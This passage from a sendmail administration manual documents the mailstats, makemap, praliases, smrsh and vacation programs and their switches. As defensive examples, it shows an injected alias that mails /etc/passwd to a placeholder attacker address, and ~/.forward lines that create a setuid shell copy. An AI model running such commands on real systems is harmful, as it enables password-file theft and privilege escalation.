=  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==  ==
 ==  ==  ==  ==  ==  ==  ==  ==  ==
 T     4387       6524K     4205      27417K      672       0       0
 C     4387                 4205                  672

The first line shows when the statistics file was begun. The lines that follow show the number of messages and the total size, in kilobytes, of those messages, both received (msgsfr and bytes_from) and sent (msgsto and bytes_to) for each delivery agent. V8.9 and above sendmail also show the number of rejected messages (msgsrej) and discarded messages (msgsdis). V8.13 and above also show the number of quarantined messages (msgsqur). The M column shows the index into the internal array of delivery agents, and the Mailer column shows the symbolic name. Note that if a delivery agent handled no traffic, it is excluded from the report.

The last two lines show totals. The line that begins with T shows the totals for the columns above. The line that begins with C shows totals for connections, the corresponding daemon-accept connections (inbound), client connections (outbound), and rejected connections. The two can show different totals when there are multiple envelopes per connection.

Command-line arguments are available to modify this output. We describe them beginning in The mailstats Program’s Switches on page 367.

Using cron for Daily and Weekly Statistics

The mailstats program prints the contents of the statistics file, but it does not zero (clear) the counters in that file. To zero that file, you need to truncate it. One easy way to do this is:

# cp /dev/null /etc/mail/statistics

When sendmail discovers an empty statistics file, it begins gathering statistics all over again. One use for truncation is to collect daily reports from mailstats. Consider the following simple shell script:

#!/bin/sh
ST=/etc/mail/statistics
MS=/usr/etc/mailstats
if [ -s $ST -a -f $MS ]; then
        $MS | mail -s "Daily mail stats" postmaster
        cp /dev/null $ST
fi
exit 0

When run, this script checks to see whether a nonempty statistics file and the mailstats program both exist. If they do, mailstats is run, printing the statistics, which are then mailed to postmaster. The statistics file is then truncated to a size of zero. Such a script could be run once per night using the cron(8) facility with a crontab(5) entry like this:

0 0 * * * sh /usr/ucb/mailstats.script >/dev/null 2>&1

Here, mailstats.script is the name given to the earlier shell script, and the 0 0 causes that script to be executed once per day at midnight.

Moving and renaming the statistics file allows you to automatically collect daily copies of that file. Consider the following variation on the previous shell script:

#!/bin/sh
BASE=/etc/mail
ST=statistics
MS=${BASE}/stats_arch
if [ -d $BASE ]; then
        cd $BASE
        if [ -s $ST -a -d $MS ]; then
                mailstats | mail -s "Daily mail stats" postmaster
                test -f ${MS}/${ST}.5 && mv ${MS}/${ST}.5 ${MS}/${ST}.6
                test -f ${MS}/${ST}.4 && mv ${MS}/${ST}.4 ${MS}/${ST}.5
                test -f ${MS}/${ST}.3 && mv ${MS}/${ST}.3 ${MS}/${ST}.4
                test -f ${MS}/${ST}.2 && mv ${MS}/${ST}.2 ${MS}/${ST}.3
                test -f ${MS}/${ST}.1 && mv ${MS}/${ST}.1 ${MS}/${ST}.2
                test -f ${MS}/${ST}.0 && mv ${MS}/${ST}.0 ${MS}/${ST}.1
                test -f ${ST}         && mv ${ST}         ${MS}/${ST}.0
                touch ${ST}
        fi
fi
exit 0

As before, the statistics are mailed to postmaster. But instead of being truncated, the statistics file is renamed stats_arch/statistics.0. A series of renames (mv(1)) are used to maintain a week’s worth of copies. These copies allow the ambitious administrator to create a program for gathering weekly summaries from seven archived daily copies.

The mailstats program allows you to specify a different name for the statistics file. By using the -f command-line switch, you can view statistics from any of the archived files:

% mailstats -f /etc/mail/stats_arch/statistics.4

The mailstats Program’s Switches

The mailstats program has a modest number of command-line switches. They are summarized in Table 10-5 and described more fully in the sections that follow.

Table 10-5. The mailstats program’s switches

Switch

§

Description

-c

-c on page 367

Use submit.cf instead.

-C

-C on page 368

Specify the configuration file’s location.

-f

-f on page 368

Specify another name for the statistics file.

-o

-o on page 368

Omit the delivery agent names.

-p

-p on page 369

Produce program-friendly output and clear the statistics file.

-P

-P on page 370

Produce program-friendly output and don’t clear the statistics file.

-c

Use submit.cf instead mailstats command-line switch

When you run the MSP form of sendmail (The submit.cf File on page 66) you use two different configuration files, the sendmail.cf file and the submit.cf file. But it is possible to configure sendmail so that it uses a different statistics file with each configuration file. In that case, you can use this -c command-line switch to specify use of the submit.cf file, and its corresponding statistics file:

% mailstats -cuse submit.cf to locate the statistics file

If you are not set up to use MSP, use of this switch might yield the following error:

mailstats: /etc/mail/submit.cf: No such file or directory

-C

Specify the configuration file’s location mailstats command-line switch

The mailstats program reads the sendmail program’s configuration file to locate the statistics file. It scans the configuration file looking for a line that begins with one of the following two expressions:

O StatusFile=
OS

The location of the configuration file is defined at compile time with _PATH_SENDMAILCF (_PATH... on page 131). If you wish to use a different configuration file, you can do so by specifying it with this -C command-line switch:

% mailstats -C /etc/mail/sendmail.cf.new

-f

Specify another name for the statistics file mailstats command-line switch

Ordinarily, mailstats gathers the path to, and the name for, its statistics file from the sendmail configuration file. There will be times, however, when you will need to print statistics from information in another statistics file. Consider, for example, the desire to archive statistics files weekly for several years running. In such a scenario, you might run the following command to look at a statistics file from another month:

% mailstats -f /export/mail/archives/statsV3/2007/Dec/stat.25

But be aware that sendmail periodically updates the version of the statistics file. If you use the current version of mailstats to read an older version’s statistics file, you will get an error something like this:

% mailstats -f /etc/sendmail.st
mailstats version (3) incompatible with /etc/sendmail.st version (2)

If you archive statistics files, you should also archive versions of mailstats with which to read them.

-o

Omit the delivery agent names mailstats command-line switch

Ordinarily, when mailstats produces its output, it prints the human-readable names of the delivery agents in its rightmost column:

% mailstats
Statistics from Sat Jan 1 17:30:02 2000
 M   msgsfr  bytes_from   msgsto    bytes_to  msgsrej msgsdis  Mailer
 0        0          0K      246        685K        0       0  prog
...                                                              ↑
                                                                here

If you prefer to omit delivery agent names, you can suppress the last column with this -o command-line switch:

% mailstats -o
Statistics from Sat Jan 1 17:30:02 2000
 M   msgsfr  bytes_from   msgsto    bytes_to  msgsrej msgsdis
 0        0          0K      246        685K        0       0
...                                                             ↑
                                                                gone

Note that this -o switch can be combined with the -p switch (described next) to also suppress printing the M line in that output.

-p

Produce program-friendly output and clear statistics file mailstats command-line switch

Parsing of the mailstats program’s output can be made more program-friendly with the use of the -p command-line switch:

% mailstats -p
938478602 938718475
 0        0          0      247        686        0       0  prog
 3       42         96        2          5        0       0  local
 5      472       1710       10         22        5       0  esmtp
 T      514       1806      259        713        5       0
 C      514        259        5

Here, the first line contains two dates in Unix time(2) format. The first is the date/time the file was created (or zeroed), and the second is the date/time mailstats was run.

The rest of the lines are what you have already seen when mailstats was run without the -p. The M heading and attractive horizontal lines are missing, but the data is the same in both cases.

If the user running the mailstats program has write permission to the statistics file, this -p switch will also cause that file’s contents to become zeroed. If the user running the program lacks write permission to the statistics file, that file’s contents will not be zeroed. Zeroing and not zeroing are silent. You need to run the mailstats program a second time to discover whether the statistics file has been zeroed.

Beginning with V8.12 sendmail, you can use the -P command-line switch (discussed next) to print statistics in program-friendly form, without zeroing the statistics.

Note that the -o switch can be combined with the -p switch to produce program-friendly output that excludes the last, human-readable column:

% mailstats -p -o
938478602 938718475
 0        0          0      247        686        0       0
 3       42         96        2          5        0       0
 5      472       1710       10         22        5       0
 T      514       1806      259        713        5       0
 C      514        259        5

-P

Produce program-friendly output and don’t clear statistics file mailstats command-line switch

Parsing of the mailstats program’s output can be made more program-friendly with the use of the -p command-line switch described earlier. One drawback of using the -p command-line switch is that it both prints and zeros the statistics.

Beginning with V8.12 sendmail, it is possible to print in program-friendly form (as with -p) but not zero the statistics. This is done with the -P command-line switch. This switch is identical in all respects to the -p, but it does not zero the statistics.

The makemap Program

The makemap program is supplied in source form with V8 sendmail. It can also be supplied in precompiled form by your vendor.[169] It is used to create database files and is run from the command line like this:

% makemap switches dbtype outfile < infile

We’ll discuss the switches in the next section. The dbtype can be dbm (which uses the ndbm(3) library routines), hash, or btree (both of which use the db(3) library routines). The outfile is the location and name (full path or relative name) for the database file that will be created. For dbm files, the .pag and .dir suffixes are added automatically. For the db files, the .db suffix will be added automatically if it is not already included in the name.

The infile is the name of the input text file from which the database will be created. The makemap program reads from its standard input, hence the < character. That input is line-oriented, with one database entry per line. Lines that begin with a # are interpreted as comments and ignored. Lines that contain no characters (empty lines) are also ignored. Whitespace (spaces or tabs) separates the key on the left from the data on the right.

The following is an example of such an input file:

key                  data
↓          ↓
lady     relaysite!lady
my.host  relaysite!lady
bug      bug localuucp

The second line shows that keys can be multitokened (my.host is three tokens), but cannot contain space or tab characters. The data is separated from the keys by one or more space or tab characters. The last line shows that the data can contain internal space and tab characters.

In reading from existing files, some conversion might be required to massage the input into a usable form. To make a database of the /etc/hosts file (for converting hostnames into IP addresses), for example, you might use a command line such as the following:

% awk '/^[^#]/ {print $2, $1}' /etc/hosts | makemap ...

Here, awk(1) first eliminates the comment lines (the /^[^#]/). If it doesn’t, it will wrongly move them to the second column, where makemap will not recognize them as comments.

The database files created by makemap are given a default permission of 0644 (readable/writeable by owner, readable by everyone else). Beginning with V8.12.4 sendmail, the default permission has been changed to 0640. If you wish to tighten the default to 0600, you can do so by defining the DBMMODE compile-time macro when building makemap:

APPENDDEF(`conf_makemap_ENVDEF',  `-DDBMMODE=0600')

You can, of course, use this compile-time macro to loosen the default permissions, but looser permissions are discouraged because they open the door to a possible denial-of-service attack on the local machine.

makemap Command-Line Switches

The command-line switches for makemap must precede the dbtype and the outfile:

makemap switches dbtype outfile

Switches are single characters, prefixed with a - character. Switches can also be combined:

-N -o      ← good
-No        ← also good

The complete list of switches is shown in Table 10-6. (See getopt(3) for additional information about the way switches are handled.)

Table 10-6. makemap program’s switches

Switch

§

Description

-c

-c on page 372

Set the cache size for hash and btree.

-C

-C on page 372

Use an alternative sendmail configuration file.

-d

-d on page 372

Allow duplicate keys in database.

-D

-D on page 373

Define alternative to # as comment character (V8.13 and above).

-e

-e on page 373

Allow empty data for keys.

-f

-f on page 374

Don’t fold uppercase to lowercase.

-l

-l (lowercase L) on page 374

List database types supported.

-N

-N on page 374

Append a null byte to all keys.

-o

-o on page 374

Append to, don’t overwrite the file.

-r

-r on page 374

Replace (silently) duplicate keys.

-s

-s on page 375

Skip security checks.

-t

-t on page 375

Specify an alternative to whitespace for a delimiter.

-u

-u on page 376

Unmake (dump) the contents of a database.

-v

-v on page 376

Watch keys and data being added.

In the following sections, we describe each switch in detail.

-c

Set the cache size for hash and btree makemap command-line switch

The -c switch instructs makemap to set the cache size for hash or btree databases to the number of bytes indicated:

% makemap -c 524288 hash outfile

The default cache size, if this switch is not specified, is 1,048,576 bytes (1k squared). Note that setting the cache size is an art, and that the larger the cache, the better. The minimum cache size is recommended to be no less than 10 pages, or about 40,960 bytes.

-C

Use an alternative sendmail configuration file makemap command-line switch

Ordinarily, makemap will leave the ownership of the created file unchanged. That is, it will behave the same as any nonprivileged Unix program that creates files.

If the TrustedUser option (TrustedUser on page 1112) is set in the sendmail configuration file, and if makemap was compiled with HASFCHOWN defined as 1, and if makemap is run by root, the output file will become owned by the TrustedUser option’s user.

The makemap program finds the TrustedUser option by reading and parsing the sendmail program’s configuration file (normally /etc/mail/sendmail.cf). If you want makemap to use a different configuration file, you can specify that different file with this -C switch, for example:

# makemap -C /etc/mail/sendmail.cf.new hash outfile

-d

Allow duplicate keys in database makemap command-line switch

Ordinarily, makemap will complain if two entries have identical keys and refuse to insert the duplicate. But if it is desirable to allow the same key to appear multiple times in the database, you can use the -d switch to suppress the warnings and allow duplicates to be inserted. But be aware that this switch is allowed only for the btree and hash forms of the db(3) library. Use of this switch with any other form of database will produce the following error:

makemap: Type dbtype does not support -d (allow dups)

See the -r switch for a way to cause duplicates to replace originals.

-D

Define alternative to # as comment character makemap command-line switch

Normally, the makemap program ignores lines of input that begin with the # character, but this can cause problems because some files use a different comment character. The dig(1) program, for example, produces output that uses a semicolon as the comment character:

;; ANSWERS:
host.domain.com   1845    CNAME   domain.com

To satisfy the need to build database-map files from such input, the -D command-line switch was added to the makemap program beginning with V8.13 sendmail. When you run makemap with the -D command-line switch, makemap will ignore lines of input that begin with a semicolon:

% makemap -D\;  file.db < file.txt

Note that, we prefix the semicolon with a backslash to insulate it from interpretation by the shell.

-e

Allow empty data for keys makemap command-line switch

Normally, makemap refuses to allow keys without data. That is, the following infile:

bob     Good User
ted
alice   Gone User

would produce the following error when read by makemap:

makemap: hash: line 2: no RHS for LHS ted

But sometimes it is necessary to initialize or fill databases with new information when the data is not known but where that lack of information is not harmful, or where the data is not required. In support of such needs, makemap allows this -e switch. With it, keys that lack a data portion are allowed to populate the database.

Sometimes it is desirable to populate a database with keys only. For such databases, the key’s presence is the only information of interest. Consider the following K configuration command:

Klocaluser hash -m /etc/mail/localusers

Here, the -m database switch (-m on page 888) tells sendmail to look up the key, but not to fetch any data.

-f

Don’t fold uppercase to lowercase makemap command-line switch

Normally, the key is converted to lowercase before being stored in the database. When the key entries are case-sensitive, the -f switch can be used to prevent conversion to lowercase. When tokens in rule sets are later looked up in the database, you can choose (with the K command, The K Configuration Command on page 882) to leave those tokens as is or convert them to lowercase before the comparison to keys. This switch and the K command should parallel each other.

-l (lowercase L)

List database types supported makemap command-line switch

The -l switch tells makemap to print a list of the database types it supports, and then exit. The largest list, and the most types that makemap can support, will look like this:

dbm        ← makemap compiled with NDBM defined
hash       ← makemap compiled with NEWDB defined
btree      ← makemap compiled with NEWDB defined

If in doubt, run makemap with this switch before trying to create a database file.

-N

Append a null byte to all keys makemap command-line switch

The -N switch tells makemap to include a trailing zero byte with each key that it adds to the database. When sendmail looks up a key in the database, it uses a binary comparison. Some databases, such as /etc/aliases under SunOS, append a zero byte to each key. When a trailing zero byte is included with a key, it must also be included with the tokens being looked up, or the lookup will fail. The use of this switch must match the K command (-N on page 889).

-o

Append to, don’t overwrite the file makemap command-line switch

Ordinarily, makemap overwrites any existing map with completely new information. The -o switch causes sendmail to append to a map. The appended information must be all new information (no duplicate keys), unless the -r or the -d switch is also used.

-r

Replace (silently) duplicate keys makemap command-line switch

Ordinarily, it is an error to specify a key that already exists in a database. That is:

john   john@host1
john   john@host2

Here, instead of replacing the first with the second, the second john line produces an error. To allow replacement keys, use the -r switch with makemap. Generally, the -r and -o switches should be combined when updating a database with new information. (See also the editmap program, The editmap Program on page 354.)

-s

Skip security checks makemap command-line switch

Ordinarily, makemap is safety-conscious. It will issue a warning, or abort, if any of the following three circumstances are present.

If makemap is run by root, and if the directory into which the database will be written is writable by anyone other than root, makemap will issue this warning:

WARNING: World writable directory directory

If the database file already exists and is a symbolic link, makemap will print the following error and abort:

makemap: error creating type hash map access: Symbolic links not allowed

Finally, if the database file already exists and is a hard link, makemap will print this error and abort:

makemap: error creating type hash map access: Hard links not allowed

If you wish to override these causes for rejection, you can do so by using this -s switch. But be aware that these warnings and errors are printed for good reasons. Circumventing them might open your machine to security risks.

-t

Specify an alternative to whitespace for a delimiter makemap command-line switch

Normally, makemap expects the key and data portions of its input file to be separated from each other by linear whitespace (space and tab characters). The following is an example of such an input file:

key                 data
 ↓          ↓
lady     relaysite!lady
      ↑
  whitespace

Beginning with V8.12 sendmail, an alternative to whitespace can be specified on the command line. Consider, for example, an input file (named infile) that is delimited with commas:

key,data

To read such an input file with makemap you would run something like the following:

% makemap -t, hash outfile < infile

The delimiting character that follows the -t must be just a single character. If a multicharacter delimiting character is specified, all but the first character will be silently ignored. If the delimiting character has special meaning to the shell (as does a semicolon), be sure to quote or escape it:

-t\;       ← escaped with a backslash
-t ';'     ← quoted

-u

Unmake (dump) the contents of a database makemap command-line switch

The -u switch causes makemap to dump the contents (key and data pairs) of an existing database. The database must exist and be readable for it to be dumped. If you attempt to dump a database for which you lack read access, you will get this message:

% makemap -u hash /etc/mail/privatedata
makemap: error opening type hash map /etc/mail/privatedata: Permission denied

You also must specify a type for the map that matches the type specified when it was made. If you mismatch, you will get an error such as this:

% makemap -u btree /etc/mail/access
makemap: error creating type btree map access: Invalid argument

If all goes well, the contents of the database will be printed to your standard output. Each datum will be separated from its key by a single tab character. Note that the order in which they print will not necessarily match the order in which they appeared in the original source text file.

-v

Watch keys and data being added makemap command-line switch

To watch your keys and data being added to a database, use the -v switch. This switch causes the following line of output to be produced for each key processed:

key=`key', val=`data'

Note that the trailing zero added by the -N switch is not displayed with the -v output. Also note that verbose output is printed to the standard output, whereas error messages are printed to the standard error.

The praliases Program

The praliases program allows you to view the contents of the aliases database after it is built. The advantage of using praliases (rather than makemap -u) is that praliases reads the sendmail configuration file to find the location and type of the aliases database. As a bonus, praliases prints the contents of all aliases databases. For example, consider a part of your mc configuration file that looks like this:

define(`ALIAS_FILE', `hash:/etc/mail/aliases/users,btree:/etc/mail/aliases/clients')

Here, the /etc/mail/aliases/users.db file will be created by newaliases as a hash-type database, and the file /etc/mail/aliases/clients.db will be created as a btree-type database. If you ran praliases on this setup, it would first print all the aliases in the first file, followed by all the aliases in the second file, correctly detecting the type for each.

The praliases program reads the sendmail.cf file to find the location and types of aliases files. A command-line switch allows you to point to a different configuration file. Another allows you to specify a particular aliases database file. Those switches are outlined in Table 10-7, and explained in the sections that follow.

Table 10-7. praliases command-line switches

Switch

§

Description

-C

-C on page 378

Use an alternative configuration file.

-f

-f on page 378

Specify another name for the aliases file.

The output produced by praliases is different from that produced by makemap -u. The praliases program lists the key on the left and data for that key on the right, separated by a colon. Unlike makemap, it does not insert a tab character between the colon and the data:

% praliases
@:@
mailer-daemon:postmaster
sys:root
bin:root
...

Note that when praliases prints the aliases database, it includes the special @:@ entry found in every aliases file. You might have to strip this entry, depending on how you wish to use the output.

Some Examples of Using praliases

One handy application for praliases is to recover your original source text file when it disappears. If, for example, your /etc/mail/aliases file is accidently removed, but your database remains intact as /etc/mail/aliases.db, you can regenerate a new source file with commands such as this one:

# cd /etc/mail
# praliases | sed -e '/^@:@$/d' > aliases
# newaliases

Naturally, such a recovery should never be necessary if your machine is properly backed up, and if you keep your source files under some form of revision control, such as rcs(1).

Another handy application of praliases is to see whether someone has slipped something into your aliases database that was not in the original file. Consider the following steps and the result they reveal:

# cd /etc/mail
# praliases | sed -e '/^@:@$/d'| sort > /tmp/a
# makemap hash /tmp/aliases < aliases
# praliases -f /tmp/aliases | sort > /tmp/b
# diff /tmp/a /tmp/b
42d38
> pw:"|cat /etc/passwd|/usr/ucb/mail badguy@bad.domain && exit 0"

Here, we first dump the aliases database and save a copy in /tmp/a. Then we create a database from the aliases source file using makemap instead of newaliases and dump that database with makemap into /tmp/b. A diff reveals that someone has added an entry to the aliases database that did not exist in the aliases source file. That entry is an attempt to steal the system /etc/passwd file whenever the badguy likes.

-C

Use an alternative configuration file praliases command-line switch

The praliases program reads the sendmail program’s configuration file to locate the aliases database files. It scans the configuration file looking for lines that begin with one of the two following two prefixes:

O AliasFile=
OA

The location of the configuration file is defined at compile time with _PATH_SENDMAILCF (_PATH... on page 131). If you wish to use a different configuration file, you can do so by specifying it with this -C command-line switch:

% praliases -C /etc/mail/sendmail.cf.new

-f

Specify another name for the aliases file praliases command-line switch

Ordinarily, praliases gathers the path to, and the name for, its aliases database files from the sendmail configuration file. There will be times, however, when you will need to print statistics from information in another aliases database file. Consider, for example, the desire to print the contents of just one of many aliases database files. In such a scenario, you might run a command such as this:

% praliases -f /etc/mail/aliases/clients

The rmail Delivery Agent

The rmail program is the dispatcher part of the UUCP suite of software. UUCP is an old-style means of moving email between machines that were only connected with dial-up modems. Although UUCP has almost entirely evaporated from most of the world, it still remains useful. The rmail program is a restricted form of the /bin/mail program that also understands UUCP routing.

For those rare sites that still run UUCP, sendmail offers a replacement for the frequently broken rmail program. The source in the rmail directory is not suitable for all operating systems. It is the original 4.4BSD source and will work as is only on 4.4BSD-based systems. It is included in the sendmail distribution as a starting point for porting to other versions of Unix.

We won’t detail how to build and use the rmail program here. If you need it, you should know why you do and, therefore, should have some ideas about how to port it. If you don’t run UUCP, or if you do and have no problems, you can skip rmail.

The smrsh Program

The sendmail program normally runs any program it finds in the user’s ~/.forward file. A cracker can attack any user, including root, by having permission to modify the user’s ~/.forward file. Consider the following modifications, for example:

\user
|"/usr/ucb/vacation user"                                    ← OK
|"/tmp/x.sh"                                                 ← an attack!
|"cp /bin/sh /home/george/.x; chmod u+s /home/george/.x"     ← an attack!

As an aid in preventing such attacks, V8.1 sendmail first offered the smrsh (sendmail restricted shell) program. V8.7 sendmail offered the FEATURE(smrsh) (Configure to Use smrsh on page 380) as an easy way to install smrsh with your mc configuration file.

Build smrsh

The smrsh program is supplied in source form with the sendmail distribution in the smrsh directory. The README file in that directory describes how to compile and install smrsh, and tells how it can be used with all versions of sendmail. Note that the instructions we give you here refer to V8.9 and above.

To build smrsh just execute the following in the smrsh directory:

% ./Build

There is very little to tune inside smrsh at build time. You might wish to predefine ALLOWSEMI as a way to allow semicolons inside command lines, but this is not recommended because it makes the job of smrsh harder and less secure. In the rare event you need to allow semicolons, however, you can add the following line to your m4 build file:

APPENDDEF(`conf_smrsh_ENVDEF', `-DALLOWSEMI')

You might also want to change the directory where smrsh will look for its approved executable programs. The default directory is preset in include/sm/conf.h for each operating system. That default can be changed with the SMRSH_CMDDIR macro like this:

APPENDDEF(`conf_smrsh_ENVDEF', `-DSMRSH_CMDDIR="/etc/mail/smrsh"')

You might also need to change the default path that smrsh passes to the Bourne shell (/bin/sh) just before that shell is called to execute its approved programs. The default preset in include/sm/conf.h for each operating system can be changed like this:

APPENDDEF(`conf_smrsh_ENVDEF', `-DSMRSH_PATH="/usr/bin:/usr/sbin"')

This SMRSH_PATH macro should not be changed if your environment must remain secure. The entry /usr/local/bin should almost never appear in this list.

To install smrsh, simply type:

# ./Build install

This will install smrsh in a directory that is considered most appropriate for your system (usually /usr/lib, or /libexec, or /usr/ucblib). If you wish to install smrsh in a different directory, you can do so by defining the following in your m4 build file:

define(`confEBINDIR', `/usr/sbin')

But beware, this will also redefine where mail.local is installed and will require you to modify your mc configuration file to indicate this new location.

Configure to Use smrsh

After you have built and installed srmsh (see the preceding section), and after you have populated its approved directory (see the following section), you can include support for it in your m4 configuration file with the FEATURE(smrsh):

FEATURE(`smrsh')
MAILER(`local')

Note that the FEATURE(smrsh) must precede the local delivery agent declaration. If these lines are reversed, the following error will print when you run Build:

*** FEATURE(smrsh) must occur before MAILER(local)

If you installed smrsh in a location other than its default, you will need to add an argument to the FEATURE(smrsh):[170]

FEATURE(`smrsh', `/usr/sbin/smrsh')

Use of smrsh is recommended by CERT, so you are encouraged to use this feature if possible.

Populate Its Directory

Before users can start putting programs in their ~/.forward files, you need to populate the smrsh-approved program directory. You should never put programs in that directory that can generate a shell or that are shell-like programs (such as perl). Good programs that are likely candidates for the approved program directory are vacation and slocal.[171]

You place a program into the smrsh-approved program directory by symbolically linking it there. Consider the vacation program, for example:

# cd /usr/adm/sm.bin
# ln -s /usr/ucb/vacation .

Note that although you should not put carefully vetted shell programs in that directory, it is OK to put shell scripts there—that is, scripts that begin with the special "#!" instruction at the top.

How smrsh Works

Once smrsh is installed and sendmail is configured to use it, and after its approved program directory is populated, smrsh can begin to do its job. Thereafter, whenever smrsh is called to run a program, smrsh strips the leading path from the program name and looks for that program in its special /usr/adm/sm.bin directory. If the program is not found in that directory, the message bounces. Thus, with the ~/.forward line:

|"/tmp/x.sh"

and if x.sh is not in the /usr/adm/sm.bin directory, smrsh causes the email message to bounce with the following error:

smrsh: /usr/adm/sm.bin/x.sh: not available for sendmail programs

The smrsh program also screens out program lines that contain suspicious characters. Consider:

|"cp /bin/sh /home/george/.x; chmod u+s /home/george/.x"

In this instance, smrsh would reject the command line (and thus bounce the message) because it contained a semicolon character:

smrsh: cannot use ; in command

The smrsh program will reject any command line that contains any of the following special characters as well as the newline (\n) and carriage-return (\r) characters:

`<>;$(  )

Beginning with V8.10, smrsh allows the && and || expressions so that ~/.forward file entries such as the following will work:

|"exec /usr/local/bin/archivemail /usr/local/mailarchive/user || exit 75"

Here, || means that if the archivemail program fails, the shell command will exit with a 75 value. This tells sendmail to defer the message back to its queue, instead of bouncing it.

Note that programs following an && or || expression must also be allowed by the smrsh program.

The vacation Program

The vacation program provides an easy means to let people know that you are not reading your mail, such as when you are on vacation. It is intended to be run from your ~/.forward file (The User’s ~/.forward File on page 500) with entries in that file that look something like this:

\you
|"/usr/ucb/vacation you"

Here, the first line ensures that you will receive a copy of any incoming message. The second line causes the vacation program to run, which sends a message back to the sender announcing that you are on vacation.

The first step in setting up the vacation program is to initialize its database, usually called ~/.vacation.db. You do this with the -i command-line switch (-I also works):

% /usr/ucb/vacation -i

The ~/.vacation.db database records each sender to whom a vacation reply has been sent, and ensures that no sender will receive more than one such message per week.

The second step in setting up the vacation program is to create a reply message file. That file should be called ~/.vacation.msg, and should minimally contain the following information:

From: Your Full Name <you@your.domain>
Subject: I am on vacation
Precedence: bulk

I am on vacation until July 5 and will reply to your email
when I return.

The first three lines show the minimum headers required. The From: shows to whom the recipient of a vacation message should reply. The Subject: header is a courtesy to the recipient and usually says you are on vacation or are away. The Precedence: header is set to bulk to prevent low-priority mail such as this from interfering with more important mail.

There must be a blank line (not an empty-looking line with spaces or tabs) between the headers and the body. The body of the message (here with two lines) can be as simple or complex as you desire. It should tell the recipient when to expect to hear from you and indicate that you actually received the message.

Note that if you forget to create a ~/.vacation.msg first, and set up your ~/.forward file ahead of time, mail to you will bounce with the following error:

501 5.3.0 |"/usr/ucb/vacation you"... Cannot open input

The last step in setting up the vacation program is to set up your ~/.forward file as we showed earlier.

Once you are done, immediately have a friend send email to you. You should receive the message, and your friend should receive a reply from you with the contents of the ~/.vacation.msg file as its body. If your friend receives an error or nothing in reply, check the following:

  • Is your home directory owned by you? Is it writable only by you? If either of these is untrue, sendmail may ignore your ~/.forward file.

  • Is your ~/.forward file owned by you and writable only by you? If it is not, sendmail might ignore your ~/.forward file.

  • Does your system use central .forward files? If so, a .forward file in your home directory might not be honored.

  • If you had someone else set up your ~/.vacation.msg file, you might not have permission to read it. If so, mail to you will bounce.

  • Look in your syslog files for other messages. They can be useful in finding a solution.

Build the vacation Program

The vacation program is built by simply changing to the vacation directory and running:

% ./Build

The vacation program requires no special compile-time macros. Once it is built, you install it like this:

% ./Build install

The vacation program is generally installed in the /usr/ucb or /usr/bin directory (or in another directory defined in your devtools/OS file). You can change this location by defining a new directory with the confUBINDIR macro (confUBINDIR on page 100) in your m4 build file.

Other Uses for vacation

The vacation program can also be used as a general notification that you are busy, as a way to retire users, and as a way to manage hours.

You are too busy to reply promptly

People are sometimes too busy to reply to all the email they get in a prompt fashion, and it is common courtesy to let senders know of the situation. Consider the following .vacation.msg file:

From: Your Full Name <you@your.domain>
Subject: I got your Message
Precedence: bulk
As you know, I often receive over 1,000 messages a week and cannot
reply to each message right away. This automatic reply is just to
reassure you that I receive all messages, and reply to them eventually.

For a plan such as this to work, you should avoid sending this message too often. Consider resetting the default resend interval from a week to a month with the -r command-line switch (-r on page 390).

Retire users with notification

The vacation program is also useful as a graceful way to retire users while keeping their accounts open for a while. Consider, for example, the following .vacation.msg file:

From: Full Name <user@your.domain>
Subject: I have moved
Precedence: bulk

Thanks for your email. It has been forwarded to my new address at:

       user@a.new.domain

Please update your records to contain this new address.

To complement this message, the user’s ~/.forward file could be set up like this:

user@a.new.domain
|"/usr/ucb/vacation user"

After the account is closed, you can fall back to the less graceful method described for the FEATURE(redirect) (FEATURE(redirect) on page 640).

Manage your hours

The ~/.forward file can contain comment lines. Each such line must begin with a # character. For example:

\you
|"/usr/ucb/vacation -m .vacation.msg.weekday you"
#|"/usr/ucb/vacation -m .vacation.msg.weekend you"

Here, the -m command-line switch (-m on page 389) is used to specify different message files to use during the week and on weekends. When the third line is commented out of the ~/.forward file, the weekday message will be sent. By commenting out the second line and uncommenting the third, a different message file will be used.

This is a simplified example of a larger approach that can be quite useful. If you frequently go to conferences, for example, you might need a variety of messages depending on how you can be reached at each conference. Or you might want to maintain a library of messages, each for a different circumstance.

Exclusions and Assumptions

The vacation program only replies to mail that is sent to you or one of your aliases as specified by the -a vacation command-line switch (-a on page 386). The vacation program only looks for your login name and aliases in the To: and CC: headers. The effect is beneficial because it ensures that only mail to you generates a reply. Mail that you receive addressed to mailing lists, for example, should not generate a reply.

The vacation program will not reply to certain listed senders. That list is hardcoded as:

postmaster
uucp
mailer-daemon
mailer

In addition, it will not reply to any address whose user part ends in -relay, -request, or -owner, nor where the user part starts with owner-.

Sender addresses are looked up in a case-insensitive manner. Thus, neither “uucp” nor “UUCP” will have replies sent to them. The comparison is from the right side, so addresses that end in -request or -relay will not have replies sent to them.

Note that the vacation program will not send replies to mail that arrives with too low a Precedence: header value. Specifically, junk, bulk, and list are ignored, with no reply sent.

The vacation Program’s Command-Line Switches

The behavior of the vacation program can be modified with the command-line switches shown in Table 10-8. In the sections that follow, we explain each in greater detail.

Table 10-8. vacation command-line switches

Switch

§

Description

-a

-a on page 386

Also handle mail for another name.

-C

-C on page 386

Specify an alternative configuration file.

-d

-d on page 387

Don’t syslog errors.

-f

-f on page 387

Use a different database file.

-i or -I

-i or -I on page 387

Initialize the database file.

-j

-j on page 388

Respond despite lack of expected recipient in To: or Cc: headers (V8.13 and above).

-l

-l (lowercase L) on page 389

List the database’s contents.

-m

-m on page 389

Use a different message file.

-r

-r on page 390

Change the notification interval.

-R

-R on page 390

Redefine the envelope sender address to use (V8.13 and above).

-s

-s on page 390

Specify the sender in the command line.

-t

-t on page 391

Ignored for compatibility with Sun’s vacation.

-U

-U on page 391

Don’t look up the user in the passwd(5) file.

-x

-x on page 392

Exclude a list of addresses.

-z

-z on page 392

Set the sender to <>.

-a

Also handle mail for another name vacation command-line switch

Some users have accounts on other machines under different login names. This can happen when moving from one job to another, for example. At the first job you might be named ellen, and at the next job you might have the login name ewinstin. If your mail is being forwarded to you from your old job, you can use this -a switch to have vacation recognize you under your old login name in addition to your current login name:

|"/usr/ucb/vacation -a ellen ewinstin"

You can add as many other names as you want by adding an -a command-line switch for each. A system administrator, for example, might have a half dozen names under which mail is received:

|"/usr/ucb/vacation -a root -a postmaster -a bin -a sys kate"

Note that vacation does a word match when it looks for each name. That is, only letters and numbers count in a word, so root will not match rootbugs, but will match root+bugs or root@host.

